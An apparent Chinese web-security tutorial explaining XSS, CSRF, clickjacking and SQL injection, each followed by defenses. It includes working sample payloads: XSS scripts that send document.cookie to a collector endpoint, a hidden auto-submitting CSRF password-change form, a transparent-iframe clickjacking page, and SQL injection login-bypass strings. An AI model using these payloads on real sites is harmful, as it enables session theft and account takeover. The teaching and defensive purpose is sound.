web常见安全问题
简介: 暂无~
Xss攻击
Xss(cross site scripting)跨站脚本攻击,为了和css区分,所以缩写是xss。
XSS是注入攻击的一种,攻击者通过将代码注入被攻击者的网站中,用户一旦访问访问网页便会执行被注入的恶意脚本。
XSS原理
xss攻击个人认为主要出现在服务端渲染,因为如果是客户端渲染,客户端渲染的话一般都会对输入的内容转义,所以服务端渲染基本碰不到存在xss漏洞的网站,
如果是服务端渲染,那就不一样了,因为如果我前端在输入框里输入的不是普通字符串,而是输入了一串js代码,或者有些网站是会根据地址栏上的参数进行渲染,我url上面的参数值没有写普通字符串,而是直接写js语句,如果后端没做处理,就将前端的js代码渲染在了html上面,最终访问网站,后端就会返回如下的html页面:
<div>
<h1>留言板</h1>
<ul>
<li>
你好啊
</li>
<li>
<img src="不存在的地址1" onerror="window.location.href='http://www.github.com';" alt="">
</li>
<li>
<script>window.location.href = "http://localhost:3000/js_xss?" + document.cookie;</script>
</li>
<li>
<script>
var imgEl = new Image();
imgEl.src = "http://localhost:3000/img_xss?" + document.cookie;
imgEl.style.display = 'none';
document.body.appendChild(imgEl);
</script>
</li>
<li>
<script>
var scriptEl = document.createElement("script");
scriptEl.type = "text/javascript";
scriptEl.src = "http://localhost:3000/js_xss?" + document.cookie;
document.body.appendChild(scriptEl);
</script>
</li>
</ul>
</div>
当浏览器解析到这些可执行语句的时候,就会执行,后果可想而知。
类型
反射型(非持久型)
一般会通过URL注入攻击脚本,只有当用户访问这个URL是才会执行攻击脚本。
存储型(持久型)
恶意代码被保存到目标网站的服务器中,比如用户留言的时候输入了一串js代码,然后发表留言的时候,这串js代码会保存到数据库,等下次再访问该网站的时候,网站会获取留言列表,如果你的那条恶意代码的留言显示在了页面上,就会执行你的那串恶意代码。这样的危害非常大,只要是访问该网站的都有可能受到影响。
防范
HTML转义
防范XSS攻击最主要的方法是对用户输入的内容进行HTML转义,转义后可以确保用户输入的内容在浏览器中作为文本显示,而不是作为代码解析。
验证用户输入
XSS攻击可以在任何用户可定制内容的地方进行,如下:
<a href=”{{url}}”>Website</a>
其中{{url}}部分表示会被替换为用户输入的url变量值。如果不对URL进行验证,那么用户就可以写入javaScript代码,比如javascript:alert(‘Bingo!’);。因为这个值并不包含会被转义的<和>。最终页面上的连接代码会变为:
<a href="javascript:alert('Bingo!');">Website</a>
当用户单击这个链接时,浏览器就会执行被href属性中设置的攻击代码。
另外,程序还允许用户设置头像图片的URL。这个图片通过下面的方式显示:
<img src="{{url}}">
类似的,{{url}}部分表示会被替换为用户输入的url变量值。如果不对输入的URL进行验证,那么用户可以将url设为"xxx" onerror=“alert(‘Bingo!’)”,最终的img标签就会变为:
<img src="xxx" onerror="alert('Bingo!')">
在这里因为src中传入了一个错误的URL,浏览器变回执行onerror属性中设置的javaScript代码。
可以使用功能单引号或者双引号,将用户的输入转成字符串,再渲染到html上。
设置cookie的HTTPOnly属性
JavaScript Document.cookie
API 无法访问带有 HttpOnly
属性的cookie;此类 Cookie 仅作用于服务器。例如,持久化服务器端会话的 Cookie 不需要对 JavaScript 可用,而应具有 HttpOnly
属性。此预防措施有助于缓解跨站点脚本(XSS)攻击。
Csrf攻击
CSRF(Cross-site request forgery)跨站请求伪造
简单来讲就是攻击者(黑客,钓鱼网站)盗用了你的身份,以你的名义发送恶意请求,这些请求包括发送邮件、发送消息、盗取账号、购买商品、银行转账
Csrf原理
个人认为,Csrf攻击的原理就是利用了发起请求时,浏览器会自动带上一些存在客户端的值,比如cookie。众所周知,http协议是无状态的,在那个古老的年代,很多网站都将用户登录成功时候返回的登录状态(如token)存进cookie里,然后客户端发起请求时,啥都不用干,照常发请求,因为发请求时,浏览器会自动带上cookie,后端在接收到请求时,就会判断cookie是否合法或者过期等等,如果判断无误,就会返回用户操作结果。从上面的流程可以看出,所有的操作都是根据cookie的,即后端收到请求,谁都不认,就认cookie,cookie对就返回结果,因此,就衍生出了Csrf攻击,最最低级的Csrf攻击就是所谓的钓鱼网站,什么是钓鱼网站?首先要完成Csrf攻击,首先要满足以下条件:
- 该网站存在Csrf漏洞(重要条件)
- 浏览器没有做安全限制(重要条件)
- 该用户防范意识不足(次要条件)
当满足了上面的一二点后,那么其实用户被钓鱼的记录就大大提高了,因为大部分人都不会想到,点一下链接,自己的数据就被篡改了。
用通俗案例模拟整体流程:
-
某公司开发了一个网站,该网站有新人活动,新人注册登录即可直接返十块钱红包(即白嫖),但该网站存在Csrf漏洞。
该网站的前端:最终部署在:https://www.zhengbeining.com/csrf/下
<template> <div> <h1 style="color: red">Csrf测试网站</h1> <h1>当前用户信息:{{ info }}</h1> <div style="width: 500px" v-if="!loginOk"> <el-form ref="form" :model="info" label-width="80px"> <el-form-item label="账号"> <el-input v-model="info.username"></el-input> </el-form-item> <el-form-item label="密码"> <el-input type="password" v-model="info.password"></el-input> </el-form-item> <el-form-item label=""> <el-button type="success" @click="login">登录</el-button> <el-button type="primary" @click="register">注册</el-button> </el-form-item> </el-form> </div> <div v-else> <h2>登录成功</h2> <div style="width: 500px"> 新密码:<el-input type="password" v-model="newpassword"></el-input> <el-button type="danger" @click="edit">修改</el-button> </div> </div> </div> </template> <script> import Cookies from "js-cookie"; import axios from "axios"; export default { components: {}, data() { return { info: { username: "", password: "", }, newpassword: "", loginOk: false, }; }, mounted() { this.loginOk = Cookies.get("token"); if (this.loginOk) { console.log("cookie有token,获取用户信息"); this.getUserInfo(); } else { console.log("cookie没有token"); } }, methods: { getUserInfo() { axios // .get("/api/getUserInfo", { .get("https://www.zhengbeining.com/csrf/getUserInfo", { params: { token: Cookies.get("token") }, }) .then((res) => { console.log(res); if (res.data.code == 200) { delete res.data.info.token; this.info = Object.assign({}, this.info, res.data.info); this.loginOk = true; this.$message.success(res.data.msg); } else { this.loginOk = false; Cookies.remove("token"); this.$message.error(res.data.msg); } }) .catch((err) => { console.log(err); }); }, login() { axios // .post("/api/login", { .post("https://www.zhengbeining.com/csrf/login", { ...this.info, }) .then((res) => { if (res.data.code == 200) { this.$message.success(res.data.msg); Cookies.set("token", res.data.info.token); delete res.data.info.token; this.info = Object.assign({}, this.info, res.data.info); this.loginOk = true; } else { this.$message.error(res.data.msg); } }) .catch((err) => { console.log(err); }); }, register() { axios // .post("/api/register", { .post("https://www.zhengbeining.com/csrf/register", { ...this.info, }) .then((res) => { if (res.data.code == 200) { this.$message.success(res.data.msg); // this.info = Object.assign({}, this.info, res.data.info); // Cookies.set("token", res.data.token); // this.loginOk = true; } else { this.$message.error(res.data.msg); } }) .catch((err) => { console.log(err); }); }, edit() { if (this.newpassword.length < 6) { this.$message.error("密码需要大于6位数"); return; } axios // .post("/api/edit", { .post("https://www.zhengbeining.com/csrf/edit", { password: this.newpassword, }) .then((res) => { if (res.data.code == 200) { Cookies.remove("token"); // this.$data = this.$options.data(); Object.assign(this.$data, this.$options.data()); this.$message.success(res.data.msg); } else { this.$message.error(res.data.msg); } }) .catch((err) => { console.log(err); }); }, }, }; </script> <style> </style>
该网站的后端:最终还是部署在https://www.zhengbeining.com/csrf/下。
let express = require('express') const { v4: uuidv4 } = require('uuid'); const connection = require('./app/database'); // 解析post请求的body数据 let app = express() app.use(express.json()) app.use(express.urlencoded({ extended: false })) app.all("*", function (req, res, next) { //设置允许跨域的域名,*代表允许任意域名跨域 res.header("Access-Control-Allow-Origin", "*"); //允许的header类型 res.header("Access-Control-Allow-Headers", "Content-Type,authorization,request-origin"); //跨域允许的请求方式 res.header("Access-Control-Allow-Methods", "DELETE,PUT,POST,GET,OPTIONS"); if (req.method.toLowerCase() == 'options') res.send(200); //让options尝试请求快速结束 else next(); }) // 静态文件目录 app.use(express.static('public')) var router = express.Router() // Xss攻击,获取cookie app.use('/', router.get('/img_xss', async (req, res, next) => { console.log('img_xss攻击成功,拿到cookie:', req.query) res.end('img_xss-ok') })) // Xss攻击,获取cookie app.use('/', router.get('/js_xss', async (req, res, next) => { console.log('js_xss攻击成功,拿到cookie:', req.query) res.end('js_xss-ok') })) // 获取用户信息 app.use('/', router.get('/getUserInfo', async (req, res, next) => { console.log('login') let statement = `SELECT * FROM user WHERE token = ?`; let [result] = await connection.execute(statement, [req.query.token]); if (result[0]) { res.json({ code: 200, msg: '获取用户信息成功', info: result[0] }) } else { res.json({ code: 400, msg: 'token错误,获取用户信息失败' }) } })) // 注册 app.use(router.post('/register', async (req, res, next) => { console.log('register') const { username, password } = req.body; let statement = `SELECT * FROM user WHERE username = ?;`; let [result] = await connection.execute(statement, [username]); if (!result[0]) { let statement = `INSERT INTO user (username, password , token, createdTime) VALUES (?, ?, ?);`; await connection.execute(statement, [username, password, null, new Date() + '']); res.json({ code: 200, msg: '注册成功' }) } else { res.json({ code: 400, msg: '用户名:' + username + ',已经被注册了' }) } })) // 登录 app.use('/', router.post('/login', async (req, res, next) => { console.log('login') let { username, password } = req.body let statement = `SELECT * FROM user WHERE username = ? and password = ?`; let [result] = await connection.execute(statement, [username, password]); if (!result[0]) { res.json({ code: 400, msg: '用户名密码错误' }) } else { let statement = `UPDATE user SET token = ? WHERE id = ?;`; await connection.execute(statement, [uuidv4(), result[0].id]); let info = await connection.execute(`SELECT * FROM user WHERE id = ${result[0].id}`); res.json({ code: 200, msg: '登录成功', info: info[0][0] }) } })) // 修改密码 app.use('/', router.post('/edit', async (req, res, next) => { console.log('edit') var Cookies = {}; if (req.headers.cookie != null) { req.headers.cookie.split(';').forEach(l => { var parts = l.split('='); Cookies[parts[0].trim()] = (parts[1] || '').trim(); }); } let info = await connection.execute(`SELECT * FROM user WHERE token = ?`, [Cookies.token]); // console.log(info[0][0].id) let statement = `UPDATE user SET password = ? WHERE token = ?;`; let [result] = await connection.execute(statement, [req.body.password, Cookies.token]); console.log(result) if (result.affectedRows == 0) { res.json({ code: 400, msg: 'token错误,修改密码失败' }) } else { let statement = `UPDATE user SET token = ? , updatedTime = ? WHERE id = ?;`; await connection.execute(statement, [uuidv4(), new Date() + '', info[0][0].id]); res.json({ code: 200, msg: '修改密码成功' }) } })) app.listen('7000', function () { console.log('http://localhost:7000', 'running....') })
-
某骗子知道该网站漏洞后,在网上大肆宣传该网站新人返利活动,然后让用户添加自己的微信以获取更多白嫖福利。
-
用户a添加了骗子,骗子让他注册登录后,截登录成功的图发给骗子,然后骗子再告诉用户下一步怎么做。
-
用户a注册登录了(即发起过https://www.zhengbeining.com/csrf/login请求了,然后将token设置在https://www.zhengbeining.com这个域名下的cookie里),截图发给了骗子,这样骗子就确定了改用户登录了,登录信息肯定保存在cookie了,然后骗子因为在这个网站里面修改过密码,知道这个网站修改用户密码是发起一个post请求,带上password这个参数就可以了,后端服务端会判断cookie,并且只认cookie,cookie合法就使用传过来的password改掉数据库的密码,如果cookie不合法,就返回错误。
-
这时候骗子开始操作了,发了一个链接给用户a,让用户a点击这个链接看看活动规则,但是这个是钓鱼链接,具体代码如下:
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Document</title> </head> <body> <form class="csrf" action="http://localhost:3000/edit" method="post" target="iframe" style="display: none;"> <input type="text" name="password" value="999" /> </form> <iframe name="iframe" style="display: none;"></iframe> <script> var el = document.getElementsByClassName("csrf")[0] el.submit() </script> </body> </html>
这个链接打开其实是一片空白,它却会发起了一个表单请求,发起了一个post请求:http://localhost:3000/edit,并且将password的值设为了999,然后submit提交,而且提交是弹出一个iframe嵌套窗口,但是这个窗口设置了隐藏样式,就感觉啥都看不出来,就是一片空白。
-
用户a点击链接后,虽然一片空白,但是却背地里发起了一个post请求,而且由于用户登录成功了,token保存在cookie里了,现在再次发起的请求https://www.zhengbeining.com/edit还是https://www.zhengbeining.com的,于是,只要是同一个浏览器,用户之前在这里登录过了,留下了cookie,且这个cookie还没过期(一般cookie不会这么快过期,而且用户也是刚登录完不久就点击了骗子链接),再次发起https://www.zhengbeining.com/edit的时候,不管当前的骗子链接是怎样的,浏览器都会发起http://localhost:3000/edit请求,并且,浏览器会找自己有没有存在https://www.zhengbeining.com这个域名下的数据,比如:cookie,如果有的话就会带上,而恰巧,之前https://www.zhengbeining.com/login登陆成功的时候就保存了token在cookie里,因此,浏览器会带上这个cookie(即token)传给后端。
防范
Cookie Hashing
应该是最简单的解决方案了,因为虽然发起http请求会带上浏览器同域下的cookie,但是,是发起请求才会自动带上同域的cookie,怎么理解,简单举个例子,比如我浏览器打开了aaa.com和bbb.com两个网页,我在aaa.com发起了一个bbb.com/login的请求,因为浏览器的原因,会自动带上bbb里面的cookie,但是,并不意味这我在aaa.com可以拿到bbb.com的cookie,只是在aaa.com发起bbb的请求的时候,会带上bbb.com下的cookie而已,所以,为了预防csrf攻击,可以在发起请求的时候,带上一个根据cookie构造出来的hash值:
这是bbb网站的表单代码
<form method=”POST” action=”bbb.com/login”>
<input type=”text” name=”toBankId”>
<input type=”text” name=”money”>
<input type=”hidden” name=”hash” value=”{{hashcookie}}”>
<input type=”submit” name=”submit” value=”Submit”>
</form>
这样的话,在bbb发起请求,bbb可以访问自己域名下面的cookie,因此发起请求后,后端可以接收到表单里面的hash值,但是,如果是别人aaa.com里面发起的bbb/login请求的话,虽然aaa.com可以构造表达里面的其他参数,但是无法拿到bbb的cookie,所以就不可能根据cookie构造出hash值!后端就可以根据这一点,再通过hash值解密,判断前端传过来的hash是否合法。
后端验证HTTP的Referer 和Origin字段
- referer属性
记录了该http请求的来源地址,但有些场景不适合将来源URL暴露给服务器,所以可以设置不用上传,并且referer属性是可以修改的,所以在服务器端校验referer属性并没有那么可靠
- origin属性
通过XMLHttpRequest、Fetch发起的跨站请求或者Post方法发送请求时,都会带上origin,所以服务器可以优先判断Origin属性,再根据实际情况判断是否使用referer判断。
后端使用cookie的SameSite属性
后端响应请求时,set-cookie添加SameSite属性。
SameSite选项通常由Strict、Lax和None三个值
- Strict最为严格,如果cookie设置了Strict,那么浏览器会完全禁止第三方Cookie。
- Lax相对宽松一点,在跨站点的情况下,从第三方站点的链接打开和从第三方站点提交Get的表单都会携带cookie.但是如果在第三方站点中使用Post方法或者通过img、iframe等标签加载的URL,都不会携带Cookie。
- None, 任何情况下都会发送Cookie。
csrfToken
- 在浏览器向服务器发起请求时,服务器生成一个CSRF Token(字符串)发送给浏览器,然后将该字符串放入页面中
- 浏览器请求时(如表单提交)需要带上这个CSRF Token。服务器收到请求后,验证CSRF是否合法,如果不合法拒绝即可。
使用token 并验证
既然浏览器会自动带上同域的cookie,那么将登录信息就不存cookie里面,存localstorage里,发起网络请求的时候,不会默认带上同域的localstorage,然后将登录信息存在localstorage里面,在请求的时候,手动带上这个localstorage,后端再进行判断就可以了。
点击劫持
原理
将要攻击的网站通过 iframe 嵌套的方式嵌入自己的网页中,并将 iframe 设置为透明,在页面中透出一个按钮诱导用户点击。点击按钮实际点击的是iframe里面的东西。
举个例子:比如我在b站发了一个视频,我希望别人都给我一键三连,但是很明显很多人都是喜欢白嫖,不会点击一键三连,我就使用iframe,将b站嵌入我的一个网站里面,然后把iframe设置透明,用定位把一个按钮定位到一键三连的位置那里,并且把网站设置的吸引人一点,比如点击抽奖或者点击获取最新信息等等,这样别人点击了按钮,实际上点击的是iframe的一键三连按钮,这样就达到了我的目的。
ps:但实际上点击一键三连都需要登录,如果iframe获取不到你之前在b站的登录状态,也是白搭。而且在现在的2021年,对iframe的限制也越来越多,比如从谷歌浏览器的Chrome 80版本后面开始,浏览器的Cookie新增加了一个SameSite属性,用来防止CSRF攻击和用户追踪。该功能默认已开启(SameSite:Lax)。即iframe拿不到外面的cookie了。
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<style>
.wrap {
position: relative;
}
.iframe {
position: absolute;
width: 600px;
height: 600px;
/* opacity: 0.5; */
opacity: 0;
}
.img {
position: absolute;
width: 600px;
height: 600px;
background-color: pink;
}
.btn {
position: absolute;
bottom: 96px;
left: 6px;
display: inline-block;
padding: 10px 20px;
background-color: yellow;
border-radius: 4px;
}
</style>
</head>
<body>
<div class="wrap">
<div class="img">
<span class="btn">click</span>
</div>
<iframe class="iframe" src="https://www.zhengbeining.com/csrf/" frameborder="0"></iframe>
</div>
</body>
</html>
防范
设置http头部X-Frame-Options字段
DENY // 拒绝任何域加载
SAMEORIGIN // 允许同源域下加载
ALLOW-FROM // 可以定义允许frame加载的页面地址
可以设置值为deny,设置后,就会拒绝任何域的加载,如果别人iframe嵌入了,浏览器控制台就会报错:
Refused to display ‘https://www.zhengbeining.com/’ in a frame because it set ‘X-Frame-Options’ to ‘deny’.
sql注入
原理
其实就是利用恶意的sql查询或添加语句插入到应用的输入参数中,具体看案例:
如果后端是这样拼接sql的话:
let username = 'admin'
let password = 999
let sql = `select * from user where username = '${username}' and password = '${password}'`
// select * from user where username = 'admin' and password = '999'
上面的sql就是要找user里面,用户名是admin,密码是999的所有数据。
但是如果用户这样输入用户名密码:
let username = 'admin'
let password = "1 'or '1'='1"
let sql = `select * from user where username = '${username}' and password = '${password}'`
// select * from user where username = 'admin' and password = '1 'or '1'='1'
上面的sql是查找user里面,用户名是admin,密码是1,或者1=1的所有数据,不管有没有找到用户名是admin,密码是1的数据,但是后面的1=1是一定成立的,而且前面的条件和后面的条件中间用的是or,所以,只要满足:(用户名是admin,密码是1)或者(1=1)的其中一个或者都满足,就会查询user里面的数据,这里是一定可以查询到数据的!
或者用户这样输入用户名密码:
let username = "admin' -- "
let password = "234"
let sql = `select * from user where username = '${username}' and password = '${password}'`
console.log(sql) //select * from user where username = 'admin' -- ' and password = '234'
let username = "admin' #"
let password = "234"
let sql = `select * from user where username = '${username}' and password = '${password}'`
console.log(sql) //select * from user where username = 'admin' #' and password = '234'
上面两个sql语句都是利用了sql里面的注释达到sql注入的。
防范
后端对前端提交内容进行规则限制
比如:正则表达式
不要使用字符串拼接
使用一些工具拼接,比如node后端可以使用mysql2里面的query或execute
const conn = await mysql.createConnection({
host: 'xxxxxxxxxxxxxx.mysql.rds.aliyuncs.com',
user: '<数据库用户名>',
password: '<数据库密码>',
database: '<数据库名称>',
charset: 'utf8mb4'
})
const [rows, fields] = await conn.query(
'SELECT * FROM `user` where id in (?)',
[userIds])
const [rows] = await conn.execute(
'SELECT * FROM `user` where id = ?',
[userId])
有待更新
参考
https://blog.csdn.net/weixin_30867015/article/details/99033645?utm_medium=distribute.pc_relevant.none-task-blog-baidujs_title-1&spm=1001.2101.3001.4242
http://www.ruanyifeng.com/blog/2019/09/cookie-samesite.html
https://blog.csdn.net/onlyliii/article/details/108276843
最后更新于:2021-05-26 19:54:43